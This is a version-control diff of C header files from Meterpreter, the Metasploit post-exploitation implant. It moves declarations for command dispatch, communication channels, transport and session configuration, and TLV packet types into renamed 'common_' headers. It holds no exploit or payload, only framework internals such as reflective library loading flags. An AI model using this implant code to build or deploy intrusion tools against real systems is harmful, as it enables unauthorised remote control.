#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } }
|
||||
|
||||
// Place holders
|
||||
/*! @deprecated This entity is not used and may be removed in future. */
|
||||
#define EXPORT_TABLE_BEGIN()
|
||||
/*! @deprecated This entity is not used and may be removed in future. */
|
||||
#define EXPORT_TABLE_END()
|
||||
|
||||
/*!
|
||||
* @brief Defines a command handler for requests and responses.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
/*! @brief Pointer to the routine that will be called to handle the request/response. */
|
||||
DISPATCH_ROUTINE handler;
|
||||
|
||||
/*!
|
||||
* @brief Pointer to the routine that will be called on the _current thread_.
|
||||
* @remark If this function is specified then it will be invoked on the current server
|
||||
* thread rather than having a new thread allocated to it for processing.
|
||||
* The result of this routine will indicate whether the server should continue.
|
||||
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
|
||||
*/
|
||||
INLINE_DISPATCH_ROUTINE inline_handler;
|
||||
|
||||
/*! @brief Array of types that match the expected arguments for this response/request routine. */
|
||||
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
|
||||
/*! @brief The number of entries in the \c argumentTypes array. */
|
||||
DWORD numArgumentTypes;
|
||||
} PacketDispatcher;
|
||||
|
||||
/*!
|
||||
* @brief Container for a command definition.
|
||||
*/
|
||||
typedef struct command
|
||||
{
|
||||
LPCSTR method; ///< Identifier for the command.
|
||||
PacketDispatcher request; ///< Defines the request handler.
|
||||
PacketDispatcher response; ///< Defines the response handler.
|
||||
|
||||
// Internal -- not stored
|
||||
struct command *next; ///< Pointer to the next command in the command list.
|
||||
struct command *prev; ///< Pointer to the previous command in the command list.
|
||||
} Command;
|
||||
|
||||
LINKAGE void command_register_all(Command commands[]);
|
||||
LINKAGE void command_deregister_all(Command commands[]);
|
||||
LINKAGE DWORD command_register(Command *command);
|
||||
LINKAGE DWORD command_deregister(Command *command);
|
||||
|
||||
LINKAGE VOID command_join_threads( VOID );
|
||||
|
||||
LINKAGE BOOL command_handle( Remote *remote, Packet *packet );
|
||||
|
||||
#endif
|
||||
/*!
|
||||
* @file common_base.h
|
||||
* @brief Declarations of macros and types that apply to almost any Meterpreter component.
|
||||
*/
|
||||
#ifndef _METERPRETER_COMMON_BASE_H
|
||||
#define _METERPRETER_COMMON_BASE_H
|
||||
|
||||
#include "common_core.h"
|
||||
|
||||
/*! @brief Function pointer type that defines the interface for a dispatch handler. */
|
||||
typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet);
|
||||
typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result);
|
||||
|
||||
/*! @brief Specifies the maximum number of arguments that are checked/handled
|
||||
* in a request/response packet dispatcher.
|
||||
*/
|
||||
#define MAX_CHECKED_ARGUMENTS 16
|
||||
|
||||
/*! @brief Flag indicating that the command arguments repeat. */
|
||||
#define ARGUMENT_FLAG_REPEAT (1 << 28)
|
||||
/*! @brief Mask indicating the range numbers allowed for command arguments. */
|
||||
#define ARGUMENT_FLAG_MASK 0x0fffffff
|
||||
|
||||
/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */
|
||||
#define EMPTY_TLV { 0 }, 0
|
||||
/*! @brief Helper macro which defines an empty dispatch handler. */
|
||||
#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV
|
||||
/*! @brief Helper macro that defines terminator for command lists. */
|
||||
#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } }
|
||||
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a request handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with a response handler only.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with both a request and response handler.
|
||||
* @remarks The request handler will be executed on a separate thread.
|
||||
*/
|
||||
#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline request handler only.
|
||||
* @remarks The request handler will be executed on the server thread.
|
||||
*/
|
||||
#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } }
|
||||
/*!
|
||||
* @brief Helper macro that defines a command instance with an inline response handler only.
|
||||
* @remarks The response handler will be executed on the server thread.
|
||||
*/
|
||||
#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } }
|
||||
|
||||
/*!
|
||||
* @brief Defines a command handler for requests and responses.
|
||||
*/
|
||||
typedef struct
|
||||
{
|
||||
/*! @brief Pointer to the routine that will be called to handle the request/response. */
|
||||
DISPATCH_ROUTINE handler;
|
||||
|
||||
/*!
|
||||
* @brief Pointer to the routine that will be called on the _current thread_.
|
||||
* @remark If this function is specified then it will be invoked on the current server
|
||||
* thread rather than having a new thread allocated to it for processing.
|
||||
* The result of this routine will indicate whether the server should continue.
|
||||
* If this value is specified (ie. non-NULL) then the \c handler value is ignored.
|
||||
*/
|
||||
INLINE_DISPATCH_ROUTINE inline_handler;
|
||||
|
||||
/*! @brief Array of types that match the expected arguments for this response/request routine. */
|
||||
TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS];
|
||||
/*! @brief The number of entries in the \c argumentTypes array. */
|
||||
DWORD numArgumentTypes;
|
||||
} PacketDispatcher;
|
||||
|
||||
/*!
|
||||
* @brief Container for a command definition.
|
||||
*/
|
||||
typedef struct command
|
||||
{
|
||||
LPCSTR method; ///< Identifier for the command.
|
||||
PacketDispatcher request; ///< Defines the request handler.
|
||||
PacketDispatcher response; ///< Defines the response handler.
|
||||
|
||||
// Internal -- not stored
|
||||
struct command *next; ///< Pointer to the next command in the command list.
|
||||
struct command *prev; ///< Pointer to the previous command in the command list.
|
||||
} Command;
|
||||
|
||||
#endif
|
@ -1,217 +1,146 @@
|
||||
#ifndef _METERPRETER_LIB_CHANNEL_H
|
||||
#define _METERPRETER_LIB_CHANNEL_H
|
||||
|
||||
#include "linkage.h"
|
||||
#include "remote.h"
|
||||
|
||||
struct _Channel;
|
||||
struct _ChannelBuffer;
|
||||
|
||||
// Direct I/O operation modes (read/write/close)
|
||||
typedef enum
|
||||
{
|
||||
CHANNEL_DIO_MODE_OPEN = 0,
|
||||
CHANNEL_DIO_MODE_READ = 1,
|
||||
CHANNEL_DIO_MODE_WRITE = 2,
|
||||
CHANNEL_DIO_MODE_CLOSE = 3,
|
||||
CHANNEL_DIO_MODE_INTERACT = 3,
|
||||
} ChannelDioMode;
|
||||
|
||||
// Direct I/O handler -- used in place of internal buffering for channels
|
||||
// that can do event based forwarding of buffers.
|
||||
typedef DWORD (*DirectIoHandler)(struct _Channel *channel,
|
||||
struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
|
||||
PUCHAR chunk, ULONG length, PULONG bytesXfered);
|
||||
|
||||
// Asynchronous completion routines -- used with channel_open, channel_read,
|
||||
// etc.
|
||||
typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer,
|
||||
ULONG bytesRead);
|
||||
typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result,
|
||||
ULONG bytesWritten);
|
||||
typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
|
||||
// Completion routine wrapper context
|
||||
typedef struct _ChannelCompletionRoutine
|
||||
{
|
||||
LPVOID context;
|
||||
|
||||
struct
|
||||
{
|
||||
ChannelOpenCompletionRoutine open;
|
||||
ChannelReadCompletionRoutine read;
|
||||
ChannelWriteCompletionRoutine write;
|
||||
ChannelCloseCompletionRoutine close;
|
||||
ChannelInteractCompletionRoutine interact;
|
||||
} routine;
|
||||
|
||||
} ChannelCompletionRoutine;
|
||||
|
||||
// Logical channel buffer used to queue or for event based updating
|
||||
typedef struct _ChannelBuffer
|
||||
{
|
||||
PUCHAR buffer;
|
||||
ULONG currentSize;
|
||||
ULONG totalSize;
|
||||
|
||||
// IO handler -- default is internal queuing
|
||||
DirectIoHandler dio;
|
||||
LPVOID dioContext;
|
||||
} ChannelBuffer;
|
||||
|
||||
// Channel operations that are used by any channel
|
||||
typedef struct _NativeChannelOps
|
||||
{
|
||||
LPVOID context;
|
||||
DWORD (*write)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesWritten);
|
||||
DWORD (*close)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context);
|
||||
DWORD (*interact)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, BOOLEAN interact);
|
||||
} NativeChannelOps;
|
||||
|
||||
// Channel operations for a stream-based channel
|
||||
typedef struct _StreamChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
} StreamChannelOps;
|
||||
|
||||
// Channel operations for a datagram-based channel
|
||||
typedef struct _DatagramChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
} DatagramChannelOps;
|
||||
|
||||
// Channel operations for a pool-based channel
|
||||
typedef struct _PoolChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
DWORD (*read)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesRead);
|
||||
DWORD (*eof)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPBOOL isEof);
|
||||
DWORD (*seek)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LONG offset, DWORD whence);
|
||||
DWORD (*tell)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPLONG offset);
|
||||
} PoolChannelOps;
|
||||
|
||||
/*
|
||||
* Values for the 'cls' attribute
|
||||
*/
|
||||
#define CHANNEL_CLASS_BUFFERED 0
|
||||
#define CHANNEL_CLASS_STREAM 1
|
||||
#define CHANNEL_CLASS_DATAGRAM 2
|
||||
#define CHANNEL_CLASS_POOL 3
|
||||
|
||||
typedef struct _Channel
|
||||
{
|
||||
// The channel's identifier
|
||||
DWORD identifier;
|
||||
// The channel's class
|
||||
DWORD cls;
|
||||
// The type of channel, NULL for default.
|
||||
PCHAR type;
|
||||
// Flag for whether or not the channel is currently interactive
|
||||
BOOL interactive;
|
||||
// Operational flags
|
||||
ULONG flags;
|
||||
// Lock for synchronizing communication to a channel
|
||||
LOCK * lock;
|
||||
// The buffered output buffer (as in being outputted bufferedly)
|
||||
union
|
||||
{
|
||||
ChannelBuffer buffered;
|
||||
StreamChannelOps stream;
|
||||
DatagramChannelOps datagram;
|
||||
PoolChannelOps pool;
|
||||
} ops;
|
||||
|
||||
// Internal attributes for list
|
||||
struct _Channel *prev;
|
||||
struct _Channel *next;
|
||||
} Channel;
|
||||
|
||||
#define CHANNEL_CHUNK_SIZE 4096
|
||||
|
||||
/*
|
||||
* Channel manipulation
|
||||
*/
|
||||
LINKAGE Channel *channel_create(DWORD identifier, DWORD flags);
|
||||
LINKAGE Channel *channel_create_stream(DWORD identifier,
|
||||
DWORD flags, StreamChannelOps *ops);
|
||||
LINKAGE Channel *channel_create_datagram(DWORD identifier,
|
||||
DWORD flags, DatagramChannelOps *ops);
|
||||
LINKAGE Channel *channel_create_pool(DWORD identifier,
|
||||
DWORD flags, PoolChannelOps *ops);
|
||||
LINKAGE VOID channel_destroy(Channel *channel, Packet *request);
|
||||
|
||||
LINKAGE DWORD channel_get_id(Channel *channel);
|
||||
|
||||
LINKAGE VOID channel_set_type(Channel *channel, PCHAR type);
|
||||
LINKAGE PCHAR channel_get_type(Channel *channel);
|
||||
|
||||
LINKAGE DWORD channel_get_class(Channel *channel);
|
||||
|
||||
LINKAGE VOID channel_set_flags(Channel *channel, ULONG flags);
|
||||
LINKAGE BOOLEAN channel_is_flag(Channel *channel, ULONG flag);
|
||||
LINKAGE ULONG channel_get_flags(Channel *channel);
|
||||
|
||||
LINKAGE VOID channel_set_interactive(Channel *channel, BOOL interactive);
|
||||
LINKAGE BOOL channel_is_interactive(Channel *channel);
|
||||
|
||||
LINKAGE DWORD channel_write_to_remote(Remote *remote, Channel *channel,
|
||||
PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten);
|
||||
|
||||
LINKAGE DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk,
|
||||
ULONG chunkLength, PULONG bytesWritten);
|
||||
LINKAGE DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk,
|
||||
ULONG chunkLength, PULONG bytesRead);
|
||||
|
||||
LINKAGE VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext,
|
||||
DirectIoHandler dio);
|
||||
LINKAGE PVOID channel_get_buffered_io_context(Channel *channel);
|
||||
LINKAGE VOID channel_set_native_io_context(Channel *channel, LPVOID context);
|
||||
LINKAGE LPVOID channel_get_native_io_context(Channel *channel);
|
||||
|
||||
LINKAGE DWORD channel_default_io_handler(Channel *channel,
|
||||
ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
|
||||
PUCHAR chunk, ULONG length, PULONG bytesXfered);
|
||||
|
||||
/*
|
||||
* Remote channel API, used for communication with remotes
|
||||
*
|
||||
* Each of these routines accepts a completion routine that allows for custom
|
||||
* handling of the response.
|
||||
*/
|
||||
LINKAGE DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength,
|
||||
ChannelCompletionRoutine *completionRoutine);
|
||||
LINKAGE DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, ULONG length,
|
||||
ChannelCompletionRoutine *completionRoutine);
|
||||
LINKAGE DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, PUCHAR buffer, ULONG length,
|
||||
ChannelCompletionRoutine *completionRoutine);
|
||||
LINKAGE DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, ChannelCompletionRoutine *completionRoutine);
|
||||
LINKAGE DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend,
|
||||
DWORD addendLength, BOOL enable,
|
||||
ChannelCompletionRoutine *completionRoutine);
|
||||
|
||||
/*
|
||||
* Channel searching
|
||||
*/
|
||||
LINKAGE Channel *channel_find_by_id(DWORD id);
|
||||
LINKAGE BOOL channel_exists(Channel *channel);
|
||||
|
||||
#endif
|
||||
#ifndef _METERPRETER_COMMON_CHANNEL_H
|
||||
#define _METERPRETER_COMMON_CHANNEL_H
|
||||
|
||||
#include "common_remote.h"
|
||||
|
||||
struct _Channel;
|
||||
struct _ChannelBuffer;
|
||||
|
||||
// Direct I/O operation modes (read/write/close)
|
||||
typedef enum
|
||||
{
|
||||
CHANNEL_DIO_MODE_OPEN = 0,
|
||||
CHANNEL_DIO_MODE_READ = 1,
|
||||
CHANNEL_DIO_MODE_WRITE = 2,
|
||||
CHANNEL_DIO_MODE_CLOSE = 3,
|
||||
CHANNEL_DIO_MODE_INTERACT = 3,
|
||||
} ChannelDioMode;
|
||||
|
||||
// Direct I/O handler -- used in place of internal buffering for channels
|
||||
// that can do event based forwarding of buffers.
|
||||
typedef DWORD (*DirectIoHandler)(struct _Channel *channel,
|
||||
struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode,
|
||||
PUCHAR chunk, ULONG length, PULONG bytesXfered);
|
||||
|
||||
// Asynchronous completion routines -- used with channel_open, channel_read,
|
||||
// etc.
|
||||
typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer,
|
||||
ULONG bytesRead);
|
||||
typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result,
|
||||
ULONG bytesWritten);
|
||||
typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote,
|
||||
struct _Channel *channel, LPVOID context, DWORD result);
|
||||
|
||||
// Completion routine wrapper context
|
||||
typedef struct _ChannelCompletionRoutine
|
||||
{
|
||||
LPVOID context;
|
||||
|
||||
struct
|
||||
{
|
||||
ChannelOpenCompletionRoutine open;
|
||||
ChannelReadCompletionRoutine read;
|
||||
ChannelWriteCompletionRoutine write;
|
||||
ChannelCloseCompletionRoutine close;
|
||||
ChannelInteractCompletionRoutine interact;
|
||||
} routine;
|
||||
|
||||
} ChannelCompletionRoutine;
|
||||
|
||||
// Logical channel buffer used to queue or for event based updating
|
||||
typedef struct _ChannelBuffer
|
||||
{
|
||||
PUCHAR buffer;
|
||||
ULONG currentSize;
|
||||
ULONG totalSize;
|
||||
|
||||
// IO handler -- default is internal queuing
|
||||
DirectIoHandler dio;
|
||||
LPVOID dioContext;
|
||||
} ChannelBuffer;
|
||||
|
||||
// Channel operations that are used by any channel
|
||||
typedef struct _NativeChannelOps
|
||||
{
|
||||
LPVOID context;
|
||||
DWORD (*write)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesWritten);
|
||||
DWORD (*close)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context);
|
||||
DWORD (*interact)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, BOOLEAN interact);
|
||||
} NativeChannelOps;
|
||||
|
||||
// Channel operations for a stream-based channel
|
||||
typedef struct _StreamChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
} StreamChannelOps;
|
||||
|
||||
// Channel operations for a datagram-based channel
|
||||
typedef struct _DatagramChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
} DatagramChannelOps;
|
||||
|
||||
// Channel operations for a pool-based channel
|
||||
typedef struct _PoolChannelOps
|
||||
{
|
||||
NativeChannelOps native;
|
||||
DWORD (*read)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize,
|
||||
LPDWORD bytesRead);
|
||||
DWORD (*eof)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPBOOL isEof);
|
||||
DWORD (*seek)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LONG offset, DWORD whence);
|
||||
DWORD (*tell)(struct _Channel *channel, Packet *request,
|
||||
LPVOID context, LPLONG offset);
|
||||
} PoolChannelOps;
|
||||
|
||||
/*
|
||||
* Values for the 'cls' attribute
|
||||
*/
|
||||
#define CHANNEL_CLASS_BUFFERED 0
|
||||
#define CHANNEL_CLASS_STREAM 1
|
||||
#define CHANNEL_CLASS_DATAGRAM 2
|
||||
#define CHANNEL_CLASS_POOL 3
|
||||
|
||||
typedef struct _Channel
|
||||
{
|
||||
// The channel's identifier
|
||||
DWORD identifier;
|
||||
// The channel's class
|
||||
DWORD cls;
|
||||
// The type of channel, NULL for default.
|
||||
PCHAR type;
|
||||
// Flag for whether or not the channel is currently interactive
|
||||
BOOL interactive;
|
||||
// Operational flags
|
||||
ULONG flags;
|
||||
// Lock for synchronizing communication to a channel
|
||||
LOCK * lock;
|
||||
// The buffered output buffer (as in being outputted bufferedly)
|
||||
union
|
||||
{
|
||||
ChannelBuffer buffered;
|
||||
StreamChannelOps stream;
|
||||
DatagramChannelOps datagram;
|
||||
PoolChannelOps pool;
|
||||
} ops;
|
||||
|
||||
// Internal attributes for list
|
||||
struct _Channel *prev;
|
||||
struct _Channel *next;
|
||||
} Channel;
|
||||
|
||||
#define CHANNEL_CHUNK_SIZE 4096
|
||||
|
||||
#endif
|
28
c/meterpreter/source/common/config.h → c/meterpreter/source/common/common_config.h
Executable file → Normal file
28
c/meterpreter/source/common/config.h → c/meterpreter/source/common/common_config.h
Executable file → Normal file
@ -2,14 +2,14 @@
|
||||
* @file config.h
|
||||
* @brief Declarations of functions and types that define endpoint and transport configurations.
|
||||
*/
|
||||
#ifndef _METERPRETER_LIB_CONFIG_H
|
||||
#define _METERPRETER_LIB_CONFIG_H
|
||||
#ifndef _METERPRETER_COMMON_CONFIG_H
|
||||
#define _METERPRETER_COMMON_CONFIG_H
|
||||
|
||||
/*! @brief This is the size of the certificate hash that is validated (sha1) */
|
||||
#define CERT_HASH_SIZE 20
|
||||
#define URL_SIZE 512
|
||||
#define UA_SIZE 256
|
||||
#define UUID_SIZE 16
|
||||
#define UUID_SIZE 16
|
||||
#define PROXY_HOST_SIZE 128
|
||||
#define PROXY_USER_SIZE 64
|
||||
#define PROXY_PASS_SIZE 64
|
||||
@ -24,14 +24,14 @@ typedef CHARTYPE const * CSTRTYPE;
|
||||
|
||||
typedef struct _MetsrvSession
|
||||
{
|
||||
union
|
||||
{
|
||||
UINT_PTR handle;
|
||||
BYTE padding[8];
|
||||
union
|
||||
{
|
||||
UINT_PTR handle;
|
||||
BYTE padding[8];
|
||||
} comms_handle; ///! Socket/handle for communications (if there is one).
|
||||
DWORD exit_func; ///! Exit func identifier for when the session ends.
|
||||
int expiry; ///! The total number of seconds to wait before killing off the session.
|
||||
BYTE uuid[UUID_SIZE]; ///! UUID
|
||||
BYTE uuid[UUID_SIZE]; ///! UUID
|
||||
BYTE session_guid[sizeof(GUID)]; ///! Current session GUID
|
||||
} MetsrvSession;
|
||||
|
||||
@ -59,11 +59,11 @@ typedef struct _MetsrvTransportHttp
|
||||
CHARTYPE custom_headers[1]; ///! Custom headers to add to outbound requests (arb length, NULL terminated).
|
||||
} MetsrvTransportHttp;
|
||||
|
||||
typedef struct _MetsrvTransportTcp
|
||||
{
|
||||
MetsrvTransportCommon common;
|
||||
} MetsrvTransportTcp;
|
||||
|
||||
typedef struct _MetsrvTransportTcp
|
||||
{
|
||||
MetsrvTransportCommon common;
|
||||
} MetsrvTransportTcp;
|
||||
|
||||
typedef struct _MetsrvTransportNamedPipe
|
||||
{
|
||||
MetsrvTransportCommon common;
|
||||
@ -81,7 +81,7 @@ typedef struct _MetsrvConfig
|
||||
MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports
|
||||
// Extensions will appear after this
|
||||
// After extensions, we get a list of extension initialisers
|
||||
// <name of extension>\x00<datasize><data>
|
||||
// <name of extension>\x00<datasize><data>
|
||||
// <name of extension>\x00<datasize><data>
|
||||
// \x00
|
||||
} MetsrvConfig;
|
552
c/meterpreter/source/common/core.h → c/meterpreter/source/common/common_core.h
Executable file → Normal file
552
c/meterpreter/source/common/core.h → c/meterpreter/source/common/common_core.h
Executable file → Normal file
@ -1,306 +1,246 @@
|
||||
/*!
|
||||
* @file core.h
|
||||
* @brief Declarations of core components of the Meterpreter suite.
|
||||
* @details Much of what exists in the core files is used in almost every area
|
||||
* of the Meterpreter code base, and hence it's very important. Don't
|
||||
* change this stuff unless you know what you're doing!
|
||||
*/
|
||||
#ifndef _METERPRETER_CORE_H
|
||||
#define _METERPRETER_CORE_H
|
||||
|
||||
#include "linkage.h"
|
||||
#include "remote.h"
|
||||
#include "list.h"
|
||||
|
||||
/*!
|
||||
* @brief Creates a new TLV value based on `actual` and `meta` values.
|
||||
*/
|
||||
#define TLV_VALUE(meta, actual) actual | meta
|
||||
/*!
|
||||
* @brief Creates a new custom TVL type.
|
||||
*/
|
||||
#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta)
|
||||
|
||||
/*!
|
||||
* @brief Enumeration of allowed Packet TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet.
|
||||
PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet.
|
||||
PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet.
|
||||
PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet.
|
||||
} PacketTlvType;
|
||||
|
||||
/*! @brief Meta TLV argument type representing a null value. */
|
||||
#define TLV_META_TYPE_NONE (0 << 0)
|
||||
/*! @brief Meta TLV argument type representing a string value. */
|
||||
#define TLV_META_TYPE_STRING (1 << 16)
|
||||
/*! @brief Meta TLV argument type representing a unsigned integer value. */
|
||||
#define TLV_META_TYPE_UINT (1 << 17)
|
||||
/*! @brief Meta TLV argument type representing a raw data value. */
|
||||
#define TLV_META_TYPE_RAW (1 << 18)
|
||||
/*! @brief Meta TLV argument type representing a boolean value. */
|
||||
#define TLV_META_TYPE_BOOL (1 << 19)
|
||||
/*! @brief Meta TLV argument type representing a quad-word value. */
|
||||
#define TLV_META_TYPE_QWORD (1 << 20)
|
||||
/*! @brief Meta TLV argument type representing a compressed data value. */
|
||||
#define TLV_META_TYPE_COMPRESSED (1 << 29)
|
||||
/*! @brief Meta TLV argument type representing a group value. */
|
||||
#define TLV_META_TYPE_GROUP (1 << 30)
|
||||
/*! @brief Meta TLV argument type representing a nested/complex value. */
|
||||
#define TLV_META_TYPE_COMPLEX (1 << 31)
|
||||
/*! @brief Meta TLV argument type representing a flag set/mask value. */
|
||||
#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000)
|
||||
|
||||
/*! @brief Base value for reserved TLV definitions. */
|
||||
#define TLV_RESERVED 0
|
||||
/*! @brief Base value for TLV definitions that are part of extensions. */
|
||||
#define TLV_EXTENSIONS 20000
|
||||
/*! @brief Base value for user TLV definitions. */
|
||||
#define TLV_USER 40000
|
||||
/*! @brief Base value for temporary TLV definitions. */
|
||||
#define TLV_TEMP 60000
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question should be stored on disk.
|
||||
* @detail Some libraries can be written to disk and other libraries can't. The use of
|
||||
* this flag will indicate that the library should not be written to disk and
|
||||
* instead should be loaded reflectively.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0)
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question is an extension library.
|
||||
* @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension
|
||||
* functions which need to be invoked. This flag indicates that the library has
|
||||
* these functions and that they should be called appropriately.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1)
|
||||
|
||||
/*!
|
||||
* @brief Indicates that the library in question is a library that exists locally.
|
||||
* @detail Libraries can already exist on the target machine. This flag indicates that
|
||||
* the library doesn't need to be uploaded, it just needs to be invoked directly
|
||||
* on the local machine.
|
||||
*/
|
||||
#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2)
|
||||
|
||||
/*! @brief An indication of whether the challen is synchronous or asynchronous. */
|
||||
#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0)
|
||||
/*! @brief An indication of whether the content written to the channel should be compressed. */
|
||||
#define CHANNEL_FLAG_COMPRESS (1 << 1)
|
||||
|
||||
/*! @brief Type definition with defines `TlvMetaType` as an double-word. */
|
||||
typedef DWORD TlvMetaType;
|
||||
|
||||
/*!
|
||||
* @brief Full list of recognised TLV types.
|
||||
*/
|
||||
typedef enum
|
||||
{
|
||||
TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value.
|
||||
TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value.
|
||||
TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value.
|
||||
TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value.
|
||||
TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value.
|
||||
|
||||
// Argument basic types
|
||||
TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value.
|
||||
TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value.
|
||||
TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value.
|
||||
|
||||
// Extended types
|
||||
TLV_TYPE_LENGTH = TLV_VALUE(TLV_META_TYPE_UINT, 25), ///! Represents a length (unsigned integer).
|
||||
TLV_TYPE_DATA = TLV_VALUE(TLV_META_TYPE_RAW, 26), ///! Represents arbitrary data (raw).
|
||||
TLV_TYPE_FLAGS = TLV_VALUE(TLV_META_TYPE_UINT, 27), ///! Represents a set of flags (unsigned integer).
|
||||
|
||||
// Channel types
|
||||
TLV_TYPE_CHANNEL_ID = TLV_VALUE(TLV_META_TYPE_UINT, 50), ///! Represents a channel identifier (unsigned integer).
|
||||
TLV_TYPE_CHANNEL_TYPE = TLV_VALUE(TLV_META_TYPE_STRING, 51), ///! Represents a channel type (string).
|
||||
